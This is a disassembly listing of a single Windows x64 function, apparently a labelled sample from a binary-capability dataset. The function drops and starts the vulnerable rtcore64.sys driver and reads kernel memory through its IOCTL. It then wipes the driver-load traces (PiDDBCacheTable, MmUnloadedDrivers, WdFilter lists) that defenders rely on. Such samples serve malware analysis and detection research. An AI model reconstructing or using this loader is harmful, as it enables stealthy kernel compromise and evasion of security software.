Function at 0x140004610
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
movzx r12d, cl
xor r13d, r13d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, str.systemroot
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov rdx, qword [rbp - 0x78]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400046a0
lea rcx, [rsp + 0x40]
call fcn.14000cab0
nop
mov r8d, 0x14
lea rdx, str.System32win32k.sys
lea rcx, [rsp + 0x40]
call fcn.14000a1c0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004729
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004724
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004724
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
movdqa xmm0, xmmword [0x14001d660]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x60]
mov qword [rbp - 0x70], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8d, 0x2b
lea rdx, str.https:__msdl.microsoft.com_download_symbols
lea rcx, [rsp + 0x60]
call fcn.14000cab0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140009a60
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140003bc0
nop
lea rcx, [rbp - 0x40]
call fcn.140003d10
test al, al
jne 0x1400047cc
lea rdx, str.____Failed_to_Load_PDB
jmp 0x1400048e1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov r8d, 0x16
lea rdx, str.NtUserSetGestureConfig
lea rcx, [rsp + 0x40]
call fcn.14000cab0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x80], 0x58
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rbp + 0x80]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymFromName]
mov rdx, qword [rsp + 0x58]
test eax, eax
jne 0x14000488e
cmp rdx, 0xf
jbe 0x1400048da
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004887
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048c9
call fcn.140013f90
jmp 0x1400048da
mov esi, dword [rbp + 0xb8]
sub esi, dword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400048d5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
cmp esi, 0xffffffff
jne 0x140004902
lea rdx, str.____Failed_to_Load_Symbol_of_NtUserSetGestureConfig
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a490
lea rdx, [0x14000a670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004f02
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140023bb0], xmm0
movups xmmword [0x140023bc0], xmm0
movups xmmword [0x140023bd0], xmm0
movups xmmword [0x140023be0], xmm0
movups xmmword [0x140023bf0], xmm0
movups xmmword [0x140023c00], xmm0
mov dword [0x140023c10], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd r14, r8d
test r8d, r8d
jle 0x1400049cd
mov rbx, r13
lea r15, [0x140000000]
movabs r13, 0x4ec4ec4ec4ec4ec5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + r15 + 0x1c2c0]
mov byte [rbx + r15 + 0x23bb0], al
inc rbx
cmp rbx, r14
jl 0x140004997
xor r13d, r13d
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a490
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400040f0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1400049fc
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.14000d510
lea rdx, [0x14000a670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004a5d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
lea rcx, [rbp - 0x68]
call fcn.140004310
nop
cmp qword [rbp - 0x58], 0
jne 0x140004a96
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a490
lea rdx, [0x14000a670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004eae
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp + 0xe0]
call fcn.1400089c0
nop
mov r8d, 0x36c8
lea rdx, [0x1400189c0]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xe8]
test al, al
je 0x140004b54
call fcn.140009e60
test rax, rax
jne 0x140004b3c
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004030
lea rdx, str.____Failed_to_create_vulnerable_driver_file
jmp 0x140004a75
call fcn.140009e60
test rax, rax
jne 0x140004b82
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004030
lea rcx, [rbp - 0x68]
call fcn.1400128a0
test al, al
jne 0x140004bd7
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a490
lea rdx, [0x14000a670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140004eae
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [0x1400169f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140023c20], rax
cmp rax, 0xffffffffffffffff
jne 0x140004c1d
lea rdx, str.____Failed_to_load_driver_rtcore64.sys
jmp 0x140004e89
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xc
lea rdx, [0x140016d10]
lea rcx, [rsp + 0x60]
call fcn.14000cab0
nop
lea rcx, [rsp + 0x60]
call fcn.140013250
mov qword [0x140023ba8], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004c9e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
mov rax, qword [0x140023ba8]
test rax, rax
jne 0x140004caf
lea rdx, str.____Failed_to_get_ntoskrnl.exe
jmp 0x140004e89
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xa
lea rdx, str.win32k.sys
lea rcx, [rsp + 0x60]
call fcn.14000cab0
nop
lea rcx, [rsp + 0x60]
call fcn.140013250
mov rbx, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004d25
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
test rbx, rbx
jne 0x140004d42
lea rdx, str.____win32k.sys_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a890
jmp 0x140004ea5
movsxd rdx, esi
add rdx, rbx
lea rax, [0x140016d8c]
mov qword [rsp + 0x20], rax
lea r9, [0x140016d90]
mov r8d, 0x100
call fcn.140007b10
mov r14, rax
test rax, rax
je 0x140004e82
mov dword [rbp - 0x70], r13d
mov rbx, r13
lea rcx, [rbp - 0x70]
mov r15, rax
sub r15, rcx
add r15, 3
nop word [rax + rax]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c], xmm0
mov dword [rbp + 0x4c], r13d
lea rsi, [rbp - 0x70]
add rsi, rbx
lea rax, [rsi + r15]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x38], 1
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x30
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x20]
mov edx, 0x80002048
mov rcx, qword [0x140023c20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140004e82
movzx eax, byte [rbp + 0x3c]
mov byte [rsi], al
inc rbx
cmp rbx, 4
jb 0x140004d90
movsxd rcx, dword [rbp - 0x70]
add rcx, 7
add rcx, r14
mov qword [0x140023ba0], rcx
test r12b, r12b
je 0x140004e7d
call fcn.1400072d0
test al, al
jne 0x140004e31
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
jmp 0x140004e89
mov rcx, rdi
call fcn.140007eb0
test al, al
jne 0x140004e46
lea rdx, str.____Failed_to_ClearKernelHashBucketList
jmp 0x140004e89
mov rcx, qword [0x140023c20]
call fcn.140006840
test al, al
jne 0x140004e5f
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
jmp 0x140004e89
call fcn.140005040
test al, al
jne 0x140004e7d
lea rdx, str.____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a890
jmp 0x140004e95
mov rdi, r13
jmp 0x140004eae
lea rdx, str.____NtUserSetGestureConfig_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a490
lea rdx, [0x14000a670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.140005ab0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140004ef1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004eec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004eec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
cmp byte [rbp - 0x1f], 0
je 0x140004f35
mov edx, 0x10000000
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140004f6c
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004fae
call fcn.140013f90
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140004fba
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fb5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
movdqa xmm0, xmmword [0x14001d660]
movdqa xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140005009
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005004
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005004
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013f90
mov rax, rdi
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140013f70
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret